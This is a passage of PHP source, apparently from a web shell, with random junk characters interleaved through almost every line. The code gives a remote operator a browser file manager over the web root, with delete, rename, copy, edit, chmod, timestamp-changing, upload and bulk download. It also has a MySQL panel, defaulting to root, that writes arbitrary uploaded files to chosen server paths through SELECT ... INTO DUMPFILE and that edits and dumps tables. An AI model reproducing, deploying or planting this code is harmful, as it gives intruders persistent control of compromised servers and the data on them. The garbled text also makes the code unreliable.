, l( o6 _* q. q2 u# j7 m) a/ {# L - makehide('newdirname');; P- e8 ~( D I" @! j# F6 L7 _. G1 D
- makehide('dir',$nowpath);* o d, |( F0 D8 a/ C/ I
- formfoot();4 J# w' z6 o& f& U* `
- formhead(array('name'=>'fileperm'));
3 f/ r- |4 g% |/ y n a - makehide('newperm');( L4 _1 h% Q" N/ l, O Y1 X& @
- makehide('pfile');8 h% d* V( w) Z; g" `) @9 K& W
- makehide('dir',$nowpath);/ M) K) E+ m7 i' D& H+ Y+ Q
- formfoot();
( _% q0 K( ^7 y( l/ i% v6 r+ e# j - formhead(array('name'=>'copyfile'));9 A; o `- a/ i8 K) d
- makehide('sname');
: f3 f5 C2 r ~2 L. p/ d5 f - makehide('tofile');
. S, I. E6 ?0 [8 B& h( ~9 a9 M - makehide('dir',$nowpath); I9 |: H5 K, T" T
- formfoot();) h& t+ N# ^* v. W( I
- formhead(array('name'=>'rename')); c; u; u- p1 _: _
- makehide('oldname');9 C" [2 Y! t8 V* g
- makehide('newfilename');& v) e* D k& ?$ I* K# m
- makehide('dir',$nowpath);
. e5 ]$ C( C) p0 K0 a0 [0 l - formfoot();5 J# }. I9 x2 [8 X' I* a
- formhead(array('name'=>'fileopform'));
" p7 h [5 b" u1 ` j* h - makehide('action');
/ n4 b" B) P( W8 ^: }: \2 n - makehide('opfile');+ A4 @5 v% \! j
- makehide('dir');
7 u1 x' d; k8 K, G - formfoot();
# \2 P5 v+ Y8 m, E$ P. r6 l) I- P - 0 }+ K8 T0 t3 P3 N8 q
- $free = @disk_free_space($nowpath);
( r& ?& A6 m* F% A2 u - !$free && $free = 0;0 ~) h; D3 u9 t; @0 ^( B
- $all = @disk_total_space($nowpath);
2 T' p/ [- ~* d# w- b Q: X4 n - !$all && $all = 0;+ N. i" z' v6 `
- $used = $all-$free;1 W! \7 i! @- B7 F9 p
- $used_percent = @round(100/($all/$free),2);* \6 i# d1 i+ K; f$ }7 \3 m+ C, E
- p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');2 b6 c( M. x$ C' Z$ E
-
9 T6 V1 I# }: `6 y/ `, S - ?>
5 K; e- Q! `7 ~1 G8 m$ o6 G% V - <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">' g( m m! T0 U
- <form action="" method="post" id="godir" name="godir">
8 k) Q1 A" ?3 X6 d: Q2 p - <tr>- t' J6 L0 R: c
- <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>' O* V2 W; ^9 a4 h# {# u- u
- <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>' L/ L* I+ L- o/ d' C
- <td nowrap><input class="bt" value="GO" type="submit"></td>. E1 m+ y& i2 `3 ]4 l
- </tr>
6 U5 V$ o" z; R: v- g: f$ E - </form># ~) w' G* I+ R7 A4 o& j& a4 V
- </table>
" q7 U: Y X& C* q9 E9 |; _, b5 A - <script type="text/javascript">2 v: N3 f7 b D) @
- function createdir(){
* B* j6 N. r: A5 K - var newdirname;$ Z. M% u) u. E' ~, b3 f+ N8 a
- newdirname = prompt('Please input the directory name:', '');/ i0 T1 r' B# R& G# F D% ^
- if (!newdirname) return;
. {7 @# y' Y! p. U: q8 K - $('createdir').newdirname.value=newdirname;3 J+ {2 c% L! g! O
- $('createdir').submit();4 {9 m8 [/ i% ^( Q
- }
' a! c& V% q1 ^. G, e - function fileperm(pfile){
; x8 }! c( V6 l8 U& U, A$ ` - var newperm;9 n6 m3 s* q3 K ~" C
- newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
0 J, ^! c, h4 C" L) p1 O - if (!newperm) return;
" z2 C9 o6 p U& y; a; |( _+ x0 s - $('fileperm').newperm.value=newperm;2 v, e9 X0 Z) c/ }
- $('fileperm').pfile.value=pfile;" q! `, @& ] J9 S g: v2 S# m
- $('fileperm').submit();' X; h5 D, ~! C0 x
- }
: \- N Q- f6 I/ D7 R% W2 l - function copyfile(sname){8 g( Y6 \1 \4 @& t
- var tofile;
0 H I9 f9 P5 p* u4 X0 Z - tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
0 _) \* t2 ^" b! y! g& { - if (!tofile) return;
0 N2 S! o( x, ` - $('copyfile').tofile.value=tofile; e9 }' C: j" L( J) `
- $('copyfile').sname.value=sname;2 H& o1 h& o! Q: ^7 f3 o
- $('copyfile').submit();
0 u: L$ F {% G - }/ }+ T8 Y. ~3 A% A7 q4 E9 m
- function rename(oldname){5 {4 z) c! w" }8 }# T
- var newfilename;
Q- A, ~" ?' q! S2 l8 ?- n9 A - newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
" y! W; `8 N# U" Q6 N - if (!newfilename) return;
# U- G. R1 y3 O8 Q+ |( K - $('rename').newfilename.value=newfilename;
* M& V# K8 S6 m) y3 \ - $('rename').oldname.value=oldname;/ G& E% B w- ^% N. I
- $('rename').submit();" V9 I/ [; D2 t
- }
" V) D: b4 s/ ]7 A% E9 I - function dofile(doing,thefile,m){
+ h( t n$ u/ i7 l9 |2 a; a - if (m && !confirm(m)) {
$ v) @: G# F6 m) t( [2 }5 g4 @ - return;2 [$ F- ]. q% }8 r5 ?! K" i1 J% Z
- }6 K% y3 m5 O5 V5 h6 |
- $('filelist').doing.value=doing;3 _9 V& o% h) ~9 T7 X9 m! o- n, g" u. Y' y
- if (thefile){5 J9 L j9 e! [7 p+ h. H
- $('filelist').thefile.value=thefile;
o+ m# u, n X7 ~- D8 E - }0 u5 B" ~! ^' `: |6 ^
- $('filelist').submit();4 p9 y% @9 O1 ?& g
- }
, f [0 \ G7 Z - function createfile(nowpath){
( z( u. D( E. L6 ~ [+ K4 ^* J9 \ - var filename;* ?1 P1 w8 Z8 ?) U8 T$ R7 ?
- filename = prompt('Please input the file name:', '');4 e5 @3 s$ |. U6 O0 w- p- O
- if (!filename) return;8 F$ B7 |/ ~# c: V$ I; a" b( \
- opfile('editfile',nowpath + filename,nowpath);. k* R" V# _. q' V
- }
8 k) G% p' |# ? N! d( z! w$ x2 C - function opfile(action,opfile,dir){! m" |9 l% U& `3 R& u6 Q- R, b
- $('fileopform').action.value=action;& V" w& r/ T2 L: E$ y5 k
- $('fileopform').opfile.value=opfile;
6 J5 @* D) H1 }; l- L' T - $('fileopform').dir.value=dir;
% P2 x& A) R5 \- j, s - $('fileopform').submit();/ j6 V) D; t% d, [ t
- }( M. F/ T( C& \* |' S! Y! N
- function godir(dir,view_writable){
: g4 d: ]/ p; ]' s" C - if (view_writable) {
8 F- v# p) {! H5 o& j+ Q+ u - $('godir').view_writable.value=1;2 j' ^) b1 W/ k- c8 j: w7 Z L
- }
0 |2 C: x+ E1 n - $('godir').dir.value=dir;2 f; A9 }: q! S3 d. y* `0 V' }1 H
- $('godir').submit();
`( B" ?2 u& S2 N/ v' d - }
1 k1 _# `# w1 \( w - </script>
3 L- o; b4 a$ Q u* P - <?php
6 U0 u) M4 S$ ?& d - tbhead();' e0 ]6 H6 M( Y
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');3 V" ?9 ]% v) z; M. c
- p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
( }( Y0 c& G- |3 \ - p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
0 T o4 m, W0 i4 m+ M' y - if ($view_writable) {
2 o7 D# a% |. B" D, R8 f - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');4 d8 z4 g1 v5 F* Z' T/ K3 F; x
- } else {! X: w u8 w3 q# w1 {9 U4 K) M" Y
- p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
' h1 b7 Z% ]) w& |+ m - } z9 A% G: T! f
- p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
8 M( D6 ^- F2 F8 G% L! k - if (IS_WIN && IS_COM) {6 c: ~; Y0 N: O& S; N
- $obj = new COM('scripting.filesystemobject');: v% T ]5 @, p, Q) Z" ^1 X
- if ($obj && is_object($obj)) {' N5 V1 U% n7 x
- $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
8 I j: d- A. D- f - foreach($obj->Drives as $drive) {
8 D- \" x) A5 i1 W) T% l y" | - if ($drive->DriveType == 2) {( e* V; L6 ~% [
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
! @8 W+ ^/ X; _$ I - Free:'.sizecount($drive->FreeSpace).'9 `. P! n5 K; g$ R u- I! a* y: e
- Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
. D5 U7 ]) D6 B! c& k$ Z" W8 \ - } else {
; r( D8 G6 s* F% n - p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
2 z# @, |) ^, [/ R5 }# p6 X# ` - }
6 S+ z+ @$ ~8 y5 T4 ` t& k - }9 A& @ ]+ J2 W5 P9 N1 a4 P
- }
) N1 }* \8 { z2 S" x - }
: i' p: z+ y- C - 0 X2 z+ D$ v! `$ E
- p('</td></tr></form>');
: A4 j8 G" m3 a9 C4 } - , ^, ]7 |1 l% a( j4 J- L" F; N s
- p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');$ d) t ?4 W/ g- s9 ?
-
+ X/ \* j$ I9 w w6 X - //查看所有可写文件和目录
( g. j. w9 t' K# E - $dirdata=array();
% s/ O7 T* \0 ]" H6 E) e( @ - $filedata=array();
( K @2 x' x( W- V/ p: k -
9 E: Y( i; ]& j. o - if ($view_writable) {
1 Q7 U4 A( h# E5 H& N. i - $dirdata = GetList($nowpath);
- m2 E0 Q+ }+ o. D6 S# B. S3 _ - } else {/ T2 ]& K. F i
- // 目录列表
, s, }) h+ ]& Y1 m7 ~ - $dirs=@opendir($dir);
, `3 V* F! V( c7 h u5 f0 l - while ($file=@readdir($dirs)) {8 E/ L& z0 f7 l
- $filepath=$nowpath.$file;
* D: h6 c* T. }) J - if(@is_dir($filepath)){8 E3 H2 U, I. A& J: X6 h
- $dirdb['filename']=$file;8 Y2 G' k' ?- M5 C' C+ K- n2 Z- l
- $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
) T$ K9 ?0 i; H; l: }0 F - $dirdb['dirchmod']=getChmod($filepath);1 Q) l% A+ g+ Z- e
- $dirdb['dirperm']=getPerms($filepath);) p7 R0 Z/ W! h- |
- $dirdb['fileowner']=getUser($filepath);
/ {/ y$ |! j/ ^* r - $dirdb['dirlink']=$nowpath;
. d. d a" v$ S, x- z3 [1 D. C - $dirdb['server_link']=$filepath;* I% R+ {: u0 Y1 s4 b3 A
- $dirdb['client_link']=ue($filepath);
+ P* ]' [6 e# d; l - $dirdata[]=$dirdb;
2 {7 l' {. A6 i! L3 {) t - } else {
) @3 a# i# u4 U: Z - $filedb['filename']=$file;9 c3 l; @% N8 @! x
- $filedb['size']=sizecount(@filesize($filepath));* R( V4 u0 ^/ R; [2 G7 H* N1 }, W
- $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
# ?9 k9 i" N6 [0 d: B c - $filedb['filechmod']=getChmod($filepath);
4 Y* z; D3 j- \8 ?, K6 i0 v - $filedb['fileperm']=getPerms($filepath);+ v& _( C ?, X3 B+ T
- $filedb['fileowner']=getUser($filepath);# F6 i+ `8 b6 H
- $filedb['dirlink']=$nowpath;
) b: H* r* Z3 D7 @- I - $filedb['server_link']=$filepath;
A2 R+ |. P' W: X" |, ?/ Z - $filedb['client_link']=ue($filepath);; d4 @( [% {8 m2 W
- $filedata[]=$filedb;' h! \6 V! N/ L$ ~
- }
# b1 {( ~) j- S* n8 @# b - }// while
& F% |! @: Y2 i' e - unset($dirdb);+ f. i9 L* y: Q# O# n+ {( x
- unset($filedb);' d( \0 d- Y) Z& d
- @closedir($dirs);
: U" q# N# _ q7 m: m - }
) n1 J4 Q* R! d7 o7 A# c: N$ [9 o$ z - @sort($dirdata);
, }# w# Y$ [1 n3 j# i- H7 w - @sort($filedata);
9 O0 d- C3 c% B6 o% w - $dir_i = '0';
# y) K) u! j1 F) U* H$ B - foreach($dirdata as $key => $dirdb){( c2 H# Y P5 K7 s
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
5 w$ S- _5 U' w. y% y, V( D( n - $thisbg = bg();
$ l8 V& s6 |# \; `0 M: P' N - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');8 E6 b, \! \3 A
- p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
: o( z8 V! @+ o/ \- g/ S" N - p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');# j) }7 B, w( v0 A7 |
- p('<td nowrap>'.$dirdb['mtime'].'</td>');
w Q3 ?1 c0 o; g" z - p('<td nowrap>--</td>');6 u- D9 k y% S0 V0 t% k
- p('<td nowrap>');
7 @" F C0 H/ w - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
1 w' D [4 F2 `. a: L' h/ d% Q5 Y - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');7 q' U! h+ O) [7 u) K; c
- p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
$ o3 M9 Z$ b W% U6 i8 n - p('</tr>');
" @# f$ p ]4 u! ]& D - $dir_i++;! V- d" K( W) k& n
- } else {
/ }& g) {0 }2 s* P - if($dirdb['filename']=='..') {: H2 i4 W/ y d: q" g( H' B
- p('<tr class='.bg().'>');1 Z0 r/ q& r3 D" y( Y" x
- p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');' {: i h. e f) D' ~3 H! \
- p('</tr>');
0 z0 m% _! g0 v9 s. h7 O7 b - }# `% _" p# t( B: z
- }9 }7 L8 E' S: V. k- L
- } ]' Y$ F$ T3 M6 F7 ?
-
( o$ V* {# Y z- G/ {* e - p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');2 Z, A& v8 p# c; O- a
- p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');6 r9 y: T4 f3 i+ V$ X3 o( O4 E
- makehide('action','file');& X* {& B3 @/ o& z
- makehide('thefile');
7 L8 q2 U/ t3 {$ N6 v9 ?( H7 x& P - makehide('doing');
9 z: V+ f9 D! ? n. k; ]) y1 h - makehide('dir',$nowpath);
$ {9 B# M/ ~# W - $file_i = '0';4 ^/ N5 P# B- F
- foreach($filedata as $key => $filedb){5 X' ]& ^" T9 p$ z* E
- if($filedb['filename']!='..' && $filedb['filename']!='.') {' e; ?" i& P& J) e/ E \# K
- $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);+ P8 h) {8 i+ @, ~1 t+ D
- $thisbg = bg();
$ p: P T. o2 U1 h! Z/ r2 T - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');' Z l3 c% o# d# m8 |
- p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');2 j6 ^- J1 d/ i8 T3 @, f
- p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');/ }1 \, R* ?, Y) h6 p. p# a Y
- p('<td nowrap>'.$filedb['mtime'].'</td>');; _( }- `- d. |' C6 x0 G; G
- p('<td nowrap>'.$filedb['size'].'</td>');) m3 g0 U& u7 S& C
- p('<td nowrap>');
* ]3 i, T! L: K4 _ - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
# g9 Q4 ]. f+ M1 w2 s - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');" r8 y$ O2 q7 k2 Z; z7 T' l& @
- p('<td nowrap>');
8 D* f5 j0 \- I0 a# u5 u - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
: M& N, i' [6 q4 e6 X( B - p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');6 _6 X. f$ c9 N2 B! }) D7 G
- p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');8 `6 W9 r0 |- b+ g8 Y: R- g5 \
- p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');" M" F; n% N o: v0 W. S
- p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');* e& r4 f& l& d4 V+ l7 Q7 g8 E
- p('</td></tr>');
4 V9 x& v6 u# }* E4 n2 F - $file_i++;
; B z7 v% p" {2 ]' t - }8 }+ D1 O# f9 O" p1 L' \
- }
) U9 B( k9 ]- o5 c - p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');5 ?6 [4 b/ W. D, I
- p('</form></table>');
% A/ K, B% x) t4 H8 h - }// end dir7 M0 G& J5 y; n2 T" u
-
7 U2 v3 J: b; Q3 G - elseif ($action == 'sqlfile') {
' X& P7 G* ^" ?5 n9 b4 d - if($doing=="mysqlupload"){; K; ]8 k9 @8 p( k& C/ g6 o( o
- $file = $_FILES['uploadfile'];+ w8 R8 K. d* I# D- c
- $filename = $file['tmp_name'];3 s- f) I }5 a8 {6 \+ j! U
- if (file_exists($savepath)) {
0 J, P* F' m6 A& s6 ` - m('The goal file has already existed');
2 d% ]0 J' f+ ^; H7 c" X - } else {1 X& L3 k5 D; i( d5 ~& a
- if(!$filename) {
' P. o$ e i5 V8 B% @0 g7 V - m('Please choose a file');( x+ S# f2 x( D& M) D! ]
- } else {0 I) w6 M4 w/ u" z1 b9 S
- $fp=@fopen($filename,'r');; L8 ]; N/ m" r' F
- $contents=@fread($fp, filesize($filename));3 P6 z# k% h3 O
- @fclose($fp);8 O4 b7 S4 e3 E. N& J8 J$ v
- $contents = bin2hex($contents);5 q3 L5 w1 V7 M2 `8 @1 u2 d7 f5 a# S
- if(!$upname) $upname = $file['name'];
) u! D9 V9 ]$ y1 k) ] - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$ i* K$ T$ K/ k+ w1 @0 s+ C3 c/ a
- $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
# F$ d' U( @9 w- ^( \- I - m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); z; P4 W# X% Z* h
- }1 D; u; C5 _$ d" c! p. s
- }
+ B# R' F7 F6 E' `; K - }! }# `: p- @& T, j# M
- ?># ~+ {1 `# w& X$ P% b
- <script type="text/javascript">+ h3 r' x9 b/ E. o+ i& Z
- function mysqlfile(doing){1 B6 P& C7 r$ g: Q8 G
- if(!doing) return;, C' x& I _6 [5 V9 z9 Y
- $('doing').value=doing;
. }2 M2 i h; Y* i9 v - $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;* ]. g2 A. ~# t% ^" }
- $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
; }$ u W7 B! Q! W V) b% ~6 a3 v - $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
+ G( `- ]- }' c; F( W - $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;4 l/ `3 E1 ?& W6 p. [
- $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
- M( z/ G" ~) Y) Y2 Y { - $('mysqlfile').charset.value=$('dbinfo').charset.value;
4 z; `: U# d7 K" x8 \+ I; ?! v+ r - $('mysqlfile').submit();5 O* w7 L# b# @$ k
- }
" p- ~4 |$ A5 J5 P - </script>
8 R. u( r u! l1 q+ W( R2 ~ - <?php
4 {0 ]2 K y# m" s3 C u- K - !$dbhost && $dbhost = 'localhost';* B+ Z' |/ n, m+ N5 J0 f( T
- !$dbuser && $dbuser = 'root';
8 _$ E4 d" S0 K4 p9 b4 R - !$dbport && $dbport = '3306';- O+ C5 U! O6 Q j& N4 Y: {
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');. S) N; l( Y4 G9 i( m7 |
- formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));' N1 R L4 F4 n$ J1 s
- makehide('action','sqlfile');
# r- Q2 F( ]- f8 {$ q - p('<p>');
/ w' n& ]! ` W - p('DBHost:');
5 r& G. I2 D4 f) j* c* D6 g$ V" `4 ^4 v - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));9 k6 w; ~+ p" x4 _. T! ^
- p(':');& j6 ?7 ]" _, t; s- }; W
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));, J4 G$ o8 U+ x9 B: ~3 S
- p('DBUser:');
. u% j# X( | a; T - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
7 v' N8 [) E, {5 j. \2 }+ E- | - p('DBPass:');
! j, m% E$ N5 I2 r6 H$ g* P. D - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
* m' f9 E( l) Z) D V6 z9 g - p('DBName:');
% R4 `$ c3 h0 g# R6 F - makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));( w+ q- S) c0 U% t& g+ l6 ~9 O
- p('DBCharset:');
' y ]' d7 f* q, Z- L - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));- C; Q& v% k/ [, I
- p('</p>');5 b" @# R9 v7 i f& e
- formfoot();1 V1 b6 W- ~" ?: G6 z4 L. o
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
, Z' k; x5 J, b* [1 p3 C/ i) J" ~ W - p('<h2>Upload file</h2>');
& Z6 a1 e7 D3 T! d - p('<p><b>This operation the DB user must has FILE privilege</b></p>');
+ ?+ G& P- m2 E2 a1 F - p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');" w8 r5 g5 v1 B% B$ m5 u3 P' t: ]
- p('<h2>Download file</h2>');; B9 |& _& ]$ w$ Q, @6 ?
- p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');2 V+ ~) I2 k2 z! K1 X% c
- makehide('dbhost');
; X7 T7 D$ Q3 l6 U. c - makehide('dbport');
7 j; t7 a# j1 }5 s+ m6 i - makehide('dbuser');
W! }' }: d# m0 G2 h - makehide('dbpass');8 w6 w; o$ C7 z
- makehide('dbname');
. K, j! w1 ]" _. Q$ }$ u/ S - makehide('charset');
P& D C, L' O2 [4 {8 U" M - makehide('doing');
+ w5 u( I8 i8 X! T - makehide('action','sqlfile');( N$ N6 f' k1 h
- p('</form>');0 p) A. z* y' L4 K
- }
- R5 s9 @" Q7 i2 _! c6 x# u" U/ e -
- W' [, ?# E, D" o! j8 J4 K - elseif ($action == 'sqladmin') {% b, I) j, o9 R. a+ s0 L( c
- !$dbhost && $dbhost = 'localhost';; o/ {) W: H: z. @6 }; Y2 E+ u
- !$dbuser && $dbuser = 'root';
, M2 n# S+ e' J) g - !$dbport && $dbport = '3306';# k# d$ Y% C: Z7 ?/ x! U
- $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';% M0 Q3 }. e( U8 n: p$ F# Y
- if(isset($dbhost)){
6 j- u% J$ i! ?9 X5 `$ A1 m - $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";5 p6 Q5 r4 z$ C
- }$ A/ n3 ?! \2 G8 _# B
- if(isset($dbuser)) {5 F- H( X# c1 ]) H: Y u/ |
- $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
+ V( {: F; i1 X% I+ n+ D - }
1 k, r% H6 ]% H - if(isset($dbpass)) {& f# ~* ^ ^2 K4 e* `( A
- $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
4 {4 B9 t/ U3 E) b5 F - }
" x5 c1 r/ |+ Y+ \$ n6 B - if(isset($dbport)) {5 I N8 A# @" A+ D; p0 b; h2 d2 D
- $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";4 ?2 f5 J. M8 ]; u( M5 b( e2 U
- }; j- P2 J1 S2 @' Y, W; B/ V" K9 N
- if(isset($dbname)) {4 e& ^- u* C- r: { x: `- ~
- $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
: q. o. `( P$ y& o- o; X - }0 u/ Z5 V* e8 P
- if(isset($charset)) {- A) }. ]0 z" s
- $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";/ V& G) j" [( d# S0 b' {
- }
2 F/ m& N# U. b& _ - 3 B" i; F9 R, ]; ~
- if ($doing == 'backupmysql' && $saveasfile) {5 q3 N4 q. t. n- d) i
- if (!$table) {
2 T, I2 K" x& [( M! z+ W - m('Please choose the table');* e) X7 P- R' O# b
- } else {" i2 j3 T3 s: K- C+ i. Q# s
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);7 t+ r& ?8 `% R& z1 Y# f7 A4 h2 j
- $table = array_flip($table);
( p$ ? n2 Z! p" ?' i - $fp = @fopen($path,'w');0 w8 E6 @+ t& p' Q, ~ D2 A% [
- if ($fp) {* B1 L+ A3 x/ c2 Q# w6 c5 W, z
- $result = q('SHOW tables');' a+ K! E8 o& J. g! u# K1 }
- if (!$result) p('<h2>'.mysql_error().'</h2>');2 u6 n( I7 J* F
- $mysqldata = '';
+ o' N- P) H1 w- N3 g1 i$ U - while ($currow = mysql_fetch_array($result)) {% p% S6 a& V3 O7 |4 }$ ]! R/ \
- if (isset($table[$currow[0]])) {
6 I& j+ a/ {2 _4 s - sqldumptable($currow[0], $fp);6 s, ?) l7 [( L# v o" k3 W
- }( Q6 Y' \4 O0 E2 i5 y9 S
- }
4 a/ F1 v9 o% u; M9 Z$ a: y - fclose($fp);) t, M) R% s1 x* v. i5 @$ W( J$ _
- $fileurl = str_replace(SA_ROOT,'',$path);* f. S* z$ f2 X/ ?9 T
- m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
- e# |8 a; M: [- U( V }/ J - mysql_close();+ s+ ~/ u0 l' Z4 ~
- } else {
/ f0 }. D7 E" q: A/ k7 I+ o - m('Backup failed');( ^' j. Q9 Z6 k. H3 b) b) G
- }
" g, r8 Q1 E; n! _ - }% ^/ I, C3 w) G- h# c! d! K9 X
- }
7 ~& g5 X% y2 U7 M - if ($insert && $insertsql) {
) }1 A! s# p; o' a# K/ O - $keystr = $valstr = $tmp = '';
0 k* ]: [: x V, X - foreach($insertsql as $key => $val) {+ O3 {* Y: m8 M/ i8 @4 Q# }
- if ($val) {
0 c P# m/ P; V& Z M: v5 z o8 j, y - $keystr .= $tmp.$key;& _( S* N) w: D5 P i, Y
- $valstr .= $tmp."'".addslashes($val)."'";
& x) ^* n. y2 n# ]1 U, s& O4 j - $tmp = ',';' u- X; d, E- H1 C
- }
/ w* u0 }! z7 K* t9 Q1 Z& u1 P - }& `+ J( t3 p! I: a: V' \
- if ($keystr && $valstr) {
P2 B8 [( c0 z0 p - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
% q2 C* ^0 @) A9 u6 O, [1 ?# k3 p - m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());4 I) p, j' x, U$ P: ~1 `5 s
- }7 v. Z% z$ x! T3 g
- }+ M2 C' D9 n: g9 B0 C1 r. m6 c1 I
- if ($update && $insertsql && $base64) {
8 K; B& S- n7 m3 t - $valstr = $tmp = '';4 U: V. ?% P1 j/ v G
- foreach($insertsql as $key => $val) {
3 K. d7 y0 J w+ O: a - $valstr .= $tmp.$key."='".addslashes($val)."'";
X4 Q0 d3 s4 J( T - $tmp = ',';; ~! C1 ]+ e. x
- }( _! [/ a7 E- J8 S
- if ($valstr) {
% e7 A0 W; L6 ]# ` \ - $where = base64_decode($base64);
6 N9 i& P' \" w6 b* @ - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);9 \' }* F: y' R6 v2 T& ~
